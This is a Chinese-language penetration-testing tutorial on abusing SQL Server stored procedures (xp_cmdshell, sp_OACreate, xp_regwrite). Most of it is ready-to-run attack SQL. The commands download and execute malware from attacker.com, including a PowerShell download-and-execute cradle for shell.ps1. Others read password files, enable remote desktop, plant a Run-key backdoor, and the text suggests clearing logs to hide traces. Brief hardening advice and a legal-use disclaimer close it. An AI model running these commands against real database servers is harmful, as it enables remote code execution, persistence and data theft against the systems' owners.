在渗透测试中,利用 SQL Server 的存储过程如 xp_cmdshell、sp_OACreate 和 xp_regwrite 可以帮助测试数据库的安全配置和权限控制。以下是它们在常见渗透测试场景中的具体应用:


---

1. xp_cmdshell

场景:远程命令执行
渗透测试中,xp_cmdshell 可以用来在数据库服务器上执行系统命令,从而获取权限或进行横向移动。

利用示例:

枚举系统信息:

EXEC xp_cmdshell 'systeminfo';
EXEC xp_cmdshell 'whoami';

下载恶意工具或脚本:

EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\malware.exe"';

启动后门工具:

EXEC xp_cmdshell 'C:\malware.exe';

文件操作(读取敏感文件):

EXEC xp_cmdshell 'type C:\Sensitive\passwords.txt';


渗透目的:

验证数据库用户是否具有操作系统级别的权限。

检查数据库服务器是否存在对危险命令的滥用。



---

2. sp_OACreate

场景:文件系统操作与代码执行
sp_OACreate 是一种强大的工具,允许 SQL Server 通过 COM 对象调用操作系统功能。渗透测试中可用于文件操作、恶意脚本执行等。

利用示例:

创建文件并写入内容:

DECLARE @Object int;
EXEC sp_OACreate 'Scripting.FileSystemObject', @Object OUT;
EXEC sp_OAMethod @Object, 'CreateTextFile', NULL, 'C:\test.txt', True;
EXEC sp_OAMethod @Object, 'WriteLine', NULL, 'This is a test.';
EXEC sp_OADestroy @Object;

执行恶意脚本:

DECLARE @Object int;
EXEC sp_OACreate 'WScript.Shell', @Object OUT;
EXEC sp_OAMethod @Object, 'Run', NULL, 'powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';
EXEC sp_OADestroy @Object;

读取远程资源: 使用 COM 对象访问网络共享或 URL,从目标服务器读取数据。


渗透目的:

评估数据库服务器是否允许 COM 对象调用。

检查是否存在危险配置导致的文件或脚本执行风险。



---

3. xp_regwrite

场景:注册表持久化与后门设置
xp_regwrite 可用于修改 Windows 注册表,以实现权限维持或改变系统行为。

利用示例:

开启远程桌面(更改注册表值):

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD', 0;

配合以下命令启动远程桌面服务:

EXEC xp_cmdshell 'net start TermService';

添加启动项后门:

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'MaliciousBackdoor', 'REG_SZ', 'C:\malware.exe';


渗透目的:

检查数据库是否具有修改系统关键注册表的能力。

模拟攻击者对注册表的滥用,评估系统的持久化风险。



---

渗透测试常用思路

1. 探测功能是否启用:

默认情况下,xp_cmdshell 和 sp_OACreate 是禁用的。通过尝试调用或查看配置检测这些功能是否被错误启用。


EXEC sp_configure 'xp_cmdshell';
EXEC sp_configure 'Ole Automation Procedures';


2. 提权与横向移动:

使用 xp_cmdshell 枚举本地用户、抓取凭据。

执行网络命令(如 net use、wmic)访问其他机器。



3. 权限验证:

测试当前数据库用户是否有足够权限使用这些存储过程。


SELECT IS_SRVROLEMEMBER('sysadmin');


4. 记录日志清理:

攻击后通过删除 SQL 日志、Windows 日志等掩盖踪迹。





---

防御建议

1. 禁用不必要的存储过程:

EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'Ole Automation Procedures', 0;


2. 实施最小权限原则,限制数据库用户权限。


3. 使用防火墙和网络分段隔离数据库服务器。


4. 监控日志,及时检测异常行为。



这些场景仅适用于合法授权的渗透测试,切勿用于非法活动!
 
 
Back to Top